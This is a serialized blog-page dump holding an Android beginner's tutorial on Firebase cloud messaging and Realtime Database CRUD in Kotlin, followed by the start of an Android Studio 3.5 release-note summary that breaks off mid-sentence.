service.",[438,835],{"className":836,"alt":66,"src":837,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081111\u002FScreen-Shot-2020-02-20-at-8.13.02-AM-65-1024x625.png",[11,839,840,841,844,845,848],{},"Now you will see an error at ",[20,842,843],{},"line 23",". This is occurred because we don’t have ",[51,846,847],{},"MyFirebaseMessagingService"," file in project so let create it.",[438,850],{"className":851,"alt":66,"src":852,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081137\u002FScreen-Shot-2020-02-20-at-8.16.28-AM-67.png",[11,854,855,859],{},[438,856],{"className":857,"alt":66,"src":858,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081206\u002FScreen-Shot-2020-02-20-at-8.17.14-AM-69.png",[473,860],{},[438,862],{"className":863,"alt":66,"src":864,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081227\u002FScreen-Shot-2020-02-20-at-8.17.30-AM-71-1024x183.png",[11,866,867,868,871,872,878],{},"Change package name from ",[51,869,870],{},".java.MyFirebaseMessagingService"," to ",[51,873,874],{},[875,876,877],"package",{},".MyFirebaseMessagingService",".",[438,880],{"className":881,"alt":66,"src":882,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081251\u002FScreen-Shot-2020-02-20-at-8.24.31-AM-77-1024x627.png",[11,884,885,887],{},[20,886,459],{}," (optional): Set a default icon and color, you can skip this step if you do not want icon and color in your notification.",[605,889,892],{"className":890,"code":891,"language":610},[608],"\u003C!-- Set custom default icon. This is used when no icon is set for incoming notification messages.\n     See README(https:\u002F\u002Fgoo.gl\u002Fl4GJaQ) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_icon\"\n    android:resource=\"@drawable\u002Fic_stat_ic_notification\" \u002F>\n\u003C!-- Set color used with incoming notification messages. This is used when no color is set for the incoming\n     notification message. See README(https:\u002F\u002Fgoo.gl\u002F6BKBk7) for more. -->\n\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_color\"\n    android:resource=\"@color\u002FcolorAccent\" \u002F>\n",[612,893,891],{"__ignoreMap":66},[438,895],{"className":896,"alt":66,"src":897,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081324\u002FScreen-Shot-2020-02-20-at-8.36.41-AM-79-1024x627.png",[11,899,900,902,903,908,909,914,915,878],{},[20,901,483],{}," (Optional): From Android 8.0 (API level 26) and higher, ",[55,904,907],{"href":905,"rel":906},"https:\u002F\u002Fdeveloper.android.com\u002Fguide\u002Ftopics\u002Fui\u002Fnotifiers\u002Fnotifications.html#ManageChannels",[59],"notification channels"," are supported and recommended. FCM provides a default notification channel with basic settings. If you prefer to ",[55,910,913],{"href":911,"rel":912},"https:\u002F\u002Fdeveloper.android.com\u002Fguide\u002Ftopics\u002Fui\u002Fnotifiers\u002Fnotifications.html#CreateChannel",[59],"create"," and use your own default channel, set default_notification_channel_id to the ID of your notification channel object as shown; FCM will use this value whenever incoming messages do not explicitly set a notification channel. To learn more, see ",[55,916,918],{"href":905,"rel":917},[59],"Manage notification channels",[11,920,921,922,925],{},"Goto ",[20,923,924],{},"res\u002Fvalues\u002Fstrings.xml"," and add this line.",[605,927,930],{"className":928,"code":929,"language":610},[608],"\u003Cstring name=\"default_notification_channel_id\">1\u003C\u002Fstring>\n",[612,931,929],{"__ignoreMap":66},[438,933],{"className":934,"alt":66,"src":935,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081349\u002FScreen-Shot-2020-02-20-at-8.44.38-AM-83-1024x350.png",[11,937,938,939,942],{},"Open ",[20,940,941],{},"AndroidManifest"," file and add this code.",[605,944,947],{"className":945,"code":946,"language":610},[608],"\u003Cmeta-data\n    android:name=\"com.google.firebase.messaging.default_notification_channel_id\"\n    android:value=\"@string\u002Fdefault_notification_channel_id\" \u002F>\n",[612,948,946],{"__ignoreMap":66},[438,950],{"className":951,"alt":66,"src":952,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081416\u002FScreen-Shot-2020-02-20-at-8.46.55-AM-85-1024x627.png",[11,954,212,955,957,958,961],{},[20,956,518],{},": Open ",[20,959,960],{},"MainActivity"," to retrieve the current registration token, add this function",[605,963,966],{"className":964,"code":965,"language":610},[608],"private fun createInstanceId() {\n    FirebaseInstanceId.getInstance().instanceId.addOnCompleteListener { task ->\n        if (!task.isSuccessful) {\n            Log.w(TAG, \"getInstanceId failed\", task.exception)\n            return@addOnCompleteListener\n        }\n\n        \u002F\u002Fget id Token\n        \u002F\u002F Get new Instance ID token\n        val token = task.result?.token\n\n        \u002F\u002F Log and toast\n        Log.d(TAG, \"token: $token\")\n        Toast.makeText(baseContext, \"token: $token\", Toast.LENGTH_SHORT).show()\n    }\n}\n",[612,967,965],{"__ignoreMap":66},[438,969],{"className":970,"alt":66,"src":971,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081446\u002FScreen-Shot-2020-02-20-at-8.56.08-AM-87-1024x626.png",[11,973,974],{},"Run the app, to get Firebase instance ID.",[438,976],{"className":977,"alt":66,"src":978,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081508\u002FScreenshot_20200220-125154-768x1365.jpg",[11,980,981,983,984,986],{},[20,982,550],{},": Add the code below into the ",[20,985,847],{}," class.",[605,988,991],{"className":989,"code":990,"language":610},[608],"class MyFirebaseMessagingService : FirebaseMessagingService() {\n    companion object {\n        private val TAG = this::class.java.simpleName\n    }\n\n    override fun onNewToken(token: String) {\n        Log.d(TAG, \"Refreshed token: $token\")\n        super.onNewToken(token)\n    }\n\n    override fun onMessageReceived(remoteMessage: RemoteMessage) {\n        super.onMessageReceived(remoteMessage)\n        Log.d(TAG, \"From: ${remoteMessage.from}\")\n\n        remoteMessage.data.isNotEmpty().let {\n        }\n\n        remoteMessage.notification?.let {\n            Log.d(TAG, \"Message Notification Body: ${it.body}\")\n            it.body?.let { body ->\n                sendNotification(body)\n            }\n        }\n    }\n\n    private fun sendNotification(messageBody: String) {\n        val intent = Intent(this, CloudMessageActivity::class.java)\n        intent.flags = Intent.FLAG_ACTIVITY_CLEAR_TOP\n        val pendingIntent = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_ONE_SHOT)\n\n        val channelId = getString(R.string.default_notification_channel_id)\n        val defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION)\n        val notificationBuilder = NotificationCompat.Builder(this, channelId)\n            .setSmallIcon(R.drawable.ic_notifications)\n            .setContentTitle(\"Mess Title\")\n            .setContentText(messageBody)\n            .setAutoCancel(true)\n            .setSound(defaultSoundUri)\n            .setContentIntent(pendingIntent)\n\n        val notificationManager =\n            getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager\n\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {\n            val channel = NotificationChannel(\n                channelId, \"Channel human readable title\",\n                NotificationManager.IMPORTANCE_DEFAULT\n            )\n            notificationManager.createNotificationChannel(channel)\n        }\n\n        notificationManager.notify(1, notificationBuilder.build())\n    }\n}\n",[612,992,990],{"__ignoreMap":66},[11,994,995,997,998,878],{},[20,996,721],{},": Test ",[20,999,1000],{},"Cloud Messaging",[438,1002],{"className":1003,"alt":66,"src":1004,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081528\u002FScreen-Shot-2020-02-20-at-12.47.45-PM.png",[11,1006,1007,1008,212,1011,1014,1015,1017,1018,1021,1022,1027],{},"Enter ",[20,1009,1010],{},"Notification",[20,1012,1013],{},"Title",", ",[20,1016,610],{}," and ",[20,1019,1020],{},"image"," (optional) ex: ",[55,1023,1026],{"href":1024,"rel":1025},"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161%5C_960%5C_720.png",[59],"https:\u002F\u002Fcdn.pixabay.com\u002Fphoto\u002F2017\u002F07\u002F07\u002F02\u002F05\u002Fsymbol-2480161\\_960\\_720.png"," and send test message.",[438,1029],{"className":1030,"alt":66,"src":1031,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081545\u002FScreen-Shot-2020-02-20-at-1.00.12-PM.png",[11,1033,1034,1035,1038],{},"Add the token we got from ",[20,1036,1037],{},"Logcat"," (step 5)",[438,1040],{"className":1041,"alt":66,"src":1042,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081608\u002FScreen-Shot-2020-02-20-at-1.07.28-PM.png",[11,1044,1045,1047,1048],{},[20,1046,711],{},":\n",[438,1049],{"className":1050,"alt":66,"src":1051,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081635\u002FScreenshot_20200220-141558-768x1365.jpg",[11,1053,1054,1056],{},[20,1055,721],{},": Create and send message.",[11,1058,1059,1060,1063,1064,1068],{},"After test successfully, click \"",[20,1061,1062],{},"Next","\" to continue.\n",[438,1065],{"className":1066,"alt":66,"src":1067,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081717\u002FScreen-Shot-2020-02-20-at-2.22.42-PM.png",[473,1069],{},[11,1071,1072,1076],{},[438,1073],{"className":1074,"alt":66,"src":1075,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081729\u002FScreen-Shot-2020-02-20-at-2.25.56-PM.png",[473,1077],{},[438,1079],{"className":1080,"alt":66,"src":1081,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081755\u002FScreen-Shot-2020-02-20-at-2.23.43-PM.png",[11,1083,739,1084,1086],{},[20,1085,759],{},"\" to send a message.",[11,1088,1089,712],{},[20,1090,711],{},[765,1092,1094,1099],{"className":1093},[768,769,770],[438,1095],{"className":1096,"alt":66,"src":1097,"style":1098},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081831\u002FScreenshot_20200220-144456_One-UI-Home-768x652.jpg","width: 60%;",[438,1100],{"className":1101,"alt":66,"src":1102,"style":1103},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081852\u002FScreenshot_20200220-144505-768x954.png","width: 40%;",[473,1105],{},[438,1107],{"className":1108,"alt":66,"src":1109,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07081914\u002FScreenshot_20200220-144509-576x1024.jpg",[403,1111,1113],{"id":1112},"v-realtime-database","V. Realtime Database",[565,1115,568],{"id":1116},"_1-introduction-2",[11,1118,1119],{},"The Firebase Realtime Database is a cloud-hosted database. Data is stored as JSON and synchronized in realtime to every connected client. When you build cross-platform apps with our iOS, Android, and JavaScript SDKs, all of your clients share one Realtime Database instance and automatically receive updates with the newest data.",[565,1121,575],{"id":1122},"_2-get-start-2",[11,1124,1125,580,1127,1130,1131,436],{},[20,1126,431],{},[20,1128,1129],{},"implementation 'com.google.firebase:firebase-database:19.2.1'"," \"into \"build.gradle\" (app) and Click \"",[20,1132,593],{},[438,1134],{"className":1135,"alt":66,"src":1136,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082008\u002FScreen-Shot-2020-02-20-at-3.26.15-PM-1024x382.png",[11,1138,1139,1141],{},[20,1140,449],{},": Configure realtime database rules for testing",[438,1143],{"className":1144,"alt":66,"src":1145,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082049\u002FScreen-Shot-2020-02-20-at-3.38.14-PM-1024x541.png",[11,1147,1148,1149],{},"About real time database rules you can read from ",[55,1150,1153],{"href":1151,"rel":1152},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fdatabase\u002Fsecurity\u002Fquickstart#sample-rules%22",[59],"here",[11,1155,1156,1158],{},[20,1157,459],{},": Create UserModel Class",[605,1160,1163],{"className":1161,"code":1162,"language":610},[608],"data class UserModel(\n    var id: String = \"\",\n    var name: String = \"\",\n    var age: Int = 0,\n    var email: String = \"\"\n) {\n    override fun toString(): String {\n        return \"UserModel(id='$id', name='$name', age=$age, email='$email')\"\n    }\n}\n",[612,1164,1162],{"__ignoreMap":66},[11,1166,1167,1169],{},[20,1168,483],{},": Create layout with 3 edit (name, age and email), 4 button (insert, get, update, delete), 1 recycler view to contain User data",[11,1171,1172,1173],{},"This is my layout. ",[438,1174],{"className":1175,"alt":66,"src":1176,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082107\u002FScreenshot_20200220-160304-739x1536.png",[11,1178,1179],{},[20,1180,1181],{},"Step 5:",[11,1183,1184],{},"Write to your database",[11,1186,1187,1188,878],{},"First initialize ",[51,1189,1190],{},"databaseReference",[605,1192,1195],{"className":1193,"code":1194,"language":610},[608],"private fun initDatabase() {\n    databaseReference = FirebaseDatabase.getInstance().reference\n}\n",[612,1196,1194],{"__ignoreMap":66},[11,1198,1199],{},"Next, get data from EditText and insert to database.",[605,1201,1204],{"className":1202,"code":1203,"language":610},[608],"private fun insertUser() {\n    if (edt_name.text.isNullOrEmpty() || edt_age.text.isNullOrEmpty() || edt_email.text.isNullOrEmpty()) {\n        Toast.makeText(this, \"Some field are missing.\", Toast.LENGTH_SHORT).show()\n        return\n    }\n\n    \u002F\u002Fget key\n    val key = databaseReference.child(\"User\").push().key\n\n    \u002F\u002Fget user data from edit text\n    val user = UserModel(\n        name = edt_name.text.toString(),\n        age = edt_age.text.toString().toInt(),\n        email = edt_email.text.toString()\n    )\n\n    key?.let {\n        user.id = key\n\n        \u002F\u002F Write a data to the database\n        databaseReference.child(\"User\").child(key).setValue(user).addOnSuccessListener {\n            clearText()\n            \u002F\u002Fget user data from database\n            getUser()\n            \u002F\u002Fscroll to new item\n            recycler_user.scrollToPosition(recyclerAdapter.userList.size - 1)\n        }\n            .addOnFailureListener {\n                Toast.makeText(this, \"Upload Error\", Toast.LENGTH_SHORT).show()\n            }\n    }\n}\n",[612,1205,1203],{"__ignoreMap":66},[11,1207,1208],{},"Add this code to insert button click event.",[605,1210,1213],{"className":1211,"code":1212,"language":610},[608],"btn_insert.setOnClickListener {\n    insertUser()\n}\n",[612,1214,1212],{"__ignoreMap":66},[11,1216,1217,1218,1221],{},"After clicking the \"",[20,1219,1220],{},"Insert","\" button in your app, data will be send to Firebase immediately.",[438,1223],{"className":1224,"alt":66,"src":1225,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082139\u002FScreen-Shot-2020-02-20-at-4.36.54-PM.png",[11,1227,1228],{},[20,1229,1230],{},"Read database:",[605,1232,1235],{"className":1233,"code":1234,"language":610},[608],"databaseReference.child(\"User\").addValueEventListener(object : ValueEventListener {\n    override fun onCancelled(dataError: DatabaseError) {\n        Toast.makeText(this@DataBaseActivity, \"Upload Error\", Toast.LENGTH_SHORT).show()\n    }\n\n    override fun onDataChange(dataSnapshot: DataSnapshot) {\n        \n        \u002F\u002Fget user list from database\n        val list = dataSnapshot.children.mapNotNull {\n            it.getValue(UserModel::class.java)\n        }\n        list.forEach {\n            Log.i(\"Users\", it.toString())\n        }\n        \u002F\u002Fadd to recycler view\n        if (list.isNotEmpty()) {\n            recyclerAdapter.userList.clear()\n            recyclerAdapter.userList.addAll(list)\n            recyclerAdapter.notifyDataSetChanged()\n        }\n    }\n})\n",[612,1236,1234],{"__ignoreMap":66},[438,1238],{"className":1239,"alt":66,"src":1240,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082214\u002FScreenshot_20200221-082417-739x1536.png",[11,1242,1243],{},[20,1244,1245],{},"Update database:",[605,1247,1250],{"className":1248,"code":1249,"language":610},[608],"private fun updateUser() {\n    user?.let {\n        \u002F\u002Fcreate new user object\n        val user = UserModel(\n            it.id,\n            edt_name.text.toString(),\n            edt_age.text.toString().toInt(),\n            edt_email.text.toString()\n        )\n        \u002F\u002Fupdate user\n        databaseReference.child(\"User\u002F${it.id}\").setValue(user)\n    }\n}\n",[612,1251,1249],{"__ignoreMap":66},[438,1253],{"className":1254,"alt":66,"src":1255,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082239\u002FScreen-Shot-2020-02-20-at-5.13.21-PM.png",[11,1257,1258,712],{},[20,1259,1260],{},"Delete database",[605,1262,1265],{"className":1263,"code":1264,"language":610},[608],"private fun deleteUser() {\n    \u002F\u002F get user id\n    val query =\n        databaseReference.child(\"User\").orderByChild(\"id\").equalTo(user?.id)\n\n    query.addListenerForSingleValueEvent(object : ValueEventListener {\n        override fun onDataChange(dataSnapshot: DataSnapshot) {\n            for (user in dataSnapshot.children) {\n                \u002F\u002Fremove user\n                user.ref.removeValue().addOnSuccessListener {\n                    clearText()\n                }\n            }\n        }\n\n        override fun onCancelled(databaseError: DatabaseError) {\n            Log.e(\n                TAG,\n                \"onCancelled\",\n                databaseError.toException()\n            )\n        }\n    })\n    getUser()\n}\n",[612,1266,1264],{"__ignoreMap":66},[438,1268],{"className":1269,"alt":66,"src":1270,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082302\u002FScreen-Shot-2020-02-20-at-5.14.08-PM.png",[403,1272,1274],{"id":1273},"vi-reference-documents","VI. Reference documents",[11,1276,1277],{},[55,1278,1279],{"href":1279,"rel":1280},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fguides",[59],[11,1282,1283],{},[55,1284,1285],{"href":1285,"rel":1286},"https:\u002F\u002Fgithub.com\u002Ffirebase\u002Fquickstart-android\u002Fblob\u002F995be41782f84b3c54e41d7d7e5d3a5048fe329e\u002Fmessaging\u002Fapp\u002Fsrc\u002Fmain\u002Fjava\u002Fcom\u002Fgoogle\u002Ffirebase\u002Fquickstart\u002Ffcm\u002Fkotlin\u002FMyFirebaseMessagingService.kt#L65-L77",[59],[11,1288,1289],{},[55,1290,1291],{"href":1291,"rel":1292},"https:\u002F\u002Fproandroiddev.com\u002Ffirebase-android-playground-realtime-database-560d4e18404a",[59],[11,1294,1295],{},[55,1296,1297],{"href":1297,"rel":1298},"https:\u002F\u002Fwww.learnhowtoprogram.com\u002Fandroid\u002Fdata-persistence\u002Ffirebase-reading-data-and-event-listeners",[59],{"title":66,"searchDepth":67,"depth":67,"links":1300},[1301,1302,1303,1308,1312,1316],{"id":405,"depth":67,"text":406},{"id":418,"depth":67,"text":419},{"id":562,"depth":67,"text":563,"children":1304},[1305,1307],{"id":567,"depth":1306,"text":568},3,{"id":574,"depth":1306,"text":575},{"id":787,"depth":67,"text":788,"children":1309},[1310,1311],{"id":791,"depth":1306,"text":568},{"id":797,"depth":1306,"text":575},{"id":1112,"depth":67,"text":1113,"children":1313},[1314,1315],{"id":1116,"depth":1306,"text":568},{"id":1122,"depth":1306,"text":575},{"id":1273,"depth":67,"text":1274},[1318,1319],"mobile","tech talk","2020-02-25","What is Firebase Google Firebase is a Google-backed application development software that enables developers to develop iOS, Android and Web apps. Firebase provides tools for tracking analytics, reporting and fixing app crashes, creating marketing and product experiment. Firebase has many services and today I’m going to introduce to in-app messaging, cloud messages and real-time databases",{},"\u002Fnews\u002Fandroid-firebase-for-beginer",{"title":391,"description":1321},"news\u002Fandroid-firebase-for-beginer","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FFirebase.jpg","N4uwmumYVuOXXXDBvAUHIP2cTOi8KDDHR8AMiShIWh8",{"id":1329,"title":1330,"body":1331,"category":1725,"created by":70,"date":1726,"description":1727,"extension":72,"meta":1728,"navigation":74,"path":1729,"sections":76,"seo":1730,"stem":1731,"thumbnail":1732,"__hash__":1733},"content_en\u002Fnews\u002Fandroid-studio-3-5-release-note-summary.md","Android Studio 3.5 Release Note Summary",{"type":8,"value":1332,"toc":1705},[1333,1348,1354,1360,1368,1372,1375,1390,1402,1406,1413,1425,1428,1434,1442,1448,1451,1457,1461,1464,1468,1491,1497,1500,1504,1510,1513,1519,1522,1526,1529,1533,1536,1543,1554,1562,1566,1569,1573,1590,1594,1597,1601,1604,1608,1611,1618,1623,1630,1634,1639,1642,1645,1651,1658,1692,1697],[11,1334,1335,1336,1341,1342,1347],{},"Android Studio 3.5 focuses on improving three main areas of the IDE: ",[55,1337,1340],{"href":1338,"rel":1339},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-system-health",[59],"system health",", ",[55,1343,1346],{"href":1344,"rel":1345},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-feature-polish",[59],"feature polish",", and fixing bugs.",[403,1349,1351],{"id":1350},"i-new-function",[20,1352,1353],{},"I. New Function",[565,1355,1357],{"id":1356},"_1-recommended-memory-settings",[20,1358,1359],{},"1. Recommended memory settings",[11,1361,1362,1363,878],{},"By default, Android Studio has a maximum heap size of 1280MB. If you are working on a large project, or your system has a lot of RAM, you can improve performance by increasing the maximum heap size for Android Studio processes, such as the core IDE, Gradle daemon, and Kotlin daemon. Android Studio automatically checks for possible heap size optimizations and notifies you if it detects that performance can be improved. To learn more, see ",[55,1364,1367],{"href":1365,"rel":1366},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#adjusting_heap_size",[59],"Maximum heap size",[438,1369],{"className":1370,"alt":66,"src":1371,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103014\u002FScreen-Shot-2019-09-20-at-3.20.07-PM.png",[11,1373,1374],{},"or you can also adjust the heap sizes for your project manually. To do so, follow these steps: ",[11,1376,1377,1378,1381,1382,1385,1386,1389],{},"1. Click ",[20,1379,1380],{},"File"," > ",[20,1383,1384],{},"Settings"," from the menu bar (or Android Studio > ",[20,1387,1388],{},"Preferences"," on macOS).",[11,1391,1392,1393,1381,1396,1381,1399,878],{},"2. Click ",[20,1394,1395],{},"Appearance & Behavior",[20,1397,1398],{},"System Settings",[20,1400,1401],{},"Memory Settings",[438,1403],{"className":1404,"alt":66,"src":1405,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103132\u002FScreen-Shot-2019-09-20-at-4.09.48-PM.png",[565,1407,1409,1410],{"id":1408},"_2memory-usage-report","2. ",[20,1411,1412],{},"Memory usage report",[11,1414,1415,1416,1419,1420,878],{},"Memory problems in Android Studio are sometimes difficult to reproduce and report. To help solve this problem, Android Studio lets you generate a memory usage report by clicking ",[20,1417,1418],{},"Help > Analyze Memory Usage"," from the menu bar. When you do so, the IDE locally sanitizes the data for personal information before asking whether you want to send it to the Android Studio team to help identify the source of the memory issues.  To learn more, see ",[55,1421,1424],{"href":1422,"rel":1423},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freport-bugs#run-memory-usage-report",[59],"Run a memory usage report",[438,1426],{"className":1427,"alt":66,"src":1405,"style":444},[441,442],[565,1429,1431],{"id":1430},"_3-windows-antivirus-file-io-optimization",[20,1432,1433],{},"3. Windows: Antivirus file I\u002FO optimization",[11,1435,1436,1437],{},"Android Studio now automatically checks whether certain project directories are excluded from real-time antivirus scanning. When adjustments can be made to improve build performance, Android Studio notifies you and provides instructions on how to optimize your antivirus configuration. To learn more, see ",[55,1438,1441],{"href":1439,"rel":1440},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#antivirus-impact",[59],"Minimize the impact of antivirus software on build speed",[565,1443,1445],{"id":1444},"_4-chrome-os-support",[20,1446,1447],{},"4. Chrome OS Support:",[11,1449,1450],{},"Android Studio now officially supports Chrome OS devices, such as the HP Chromebook x360 14, Acer Chromebook 13\u002FSpin 13.",[403,1452,1454],{"id":1453},"ii-existing-features",[20,1455,1456],{},"II. Existing Features",[565,1458,1460],{"id":1459},"_1applychanges","1. ApplyChanges",[11,1462,1463],{},"Apply Changes lets you push code and resource changes to your running app without restarting your app—and, in some cases, without restarting the current activity.",[438,1465],{"className":1466,"alt":66,"src":1467,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103225\u002Fapply-changes-buttons-3.5.png",[203,1469,1470,1480,1485],{},[34,1471,1472,1475,1476,1479],{},[20,1473,1474],{},"Apply Code Changes"," Attempts to apply only your code changes without restarting anything. Generally, you can use this option when you've modified code in the body of a method but you have not modified any resources. If you've modified both code and resources, use ",[20,1477,1478],{},"Apply Changes and Restart Activity"," instead.",[34,1481,1482,1484],{},[20,1483,1478],{}," Attempts to apply both your resource and code changes by restarting your activity but without restarting your app. Generally, you can use this option when you've modified code in the body of a method or modified an existing resource.",[34,1486,1487,1490],{},[20,1488,1489],{},"Run"," Deploys all changes and restarts the app. Use this option when the changes that you have made cannot be applied using either of the Apply Changes options.",[565,1492,1494],{"id":1493},"_2-app-deployment-flow",[20,1495,1496],{},"2. App deployment flow",[11,1498,1499],{},"The IDE has a new drop-down menu that lets you quickly select which device you'd like to deploy your app to. This menu also includes a new option that lets you run your app on multiple devices at once.",[438,1501],{"className":1502,"alt":66,"src":1503,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103251\u002Fdeploy-run-app-1024x544.png",[565,1505,1507],{"id":1506},"_3-gradle-sync-and-cache-detection",[20,1508,1509],{},"3. Gradle sync and cache detection",[11,1511,1512],{},"The IDE now better detects when Gradle periodically clears your build cache when reducing its hard disk consumption. In previous versions, this state caused the IDE to report missing dependencies and Gradle sync to fail. Now, the IDE simply downloads dependencies as needed to ensure that Gradle sync completes successfully.",[565,1514,1516],{"id":1515},"_4-data-binding",[20,1517,1518],{},"4. Data Binding",[11,1520,1521],{},"Improves smart editor features and performance when creating data binding expressions in XML.",[438,1523],{"className":1524,"alt":66,"src":1525,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.4.gif",[11,1527,1528],{},"Android Studio 3.4.",[438,1530],{"className":1531,"alt":66,"src":1532,"style":444},[441,442],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.5.gif",[11,1534,1535],{},"Android Studio 3.5.",[565,1537,1539,1540],{"id":1538},"_5layout-editor","5. ",[20,1541,1542],{},"Layout Editor",[11,1544,1545,1546,1549,1550,1553],{},"When working with ConstraintLayout, a new ",[20,1547,1548],{},"Constraints"," section in the ",[20,1551,1552],{},"Attributes"," panel lists the constraints relationships of the selected UI component. You can select a constraint either from the design surface or from the constraints list to highlight the constraint in both 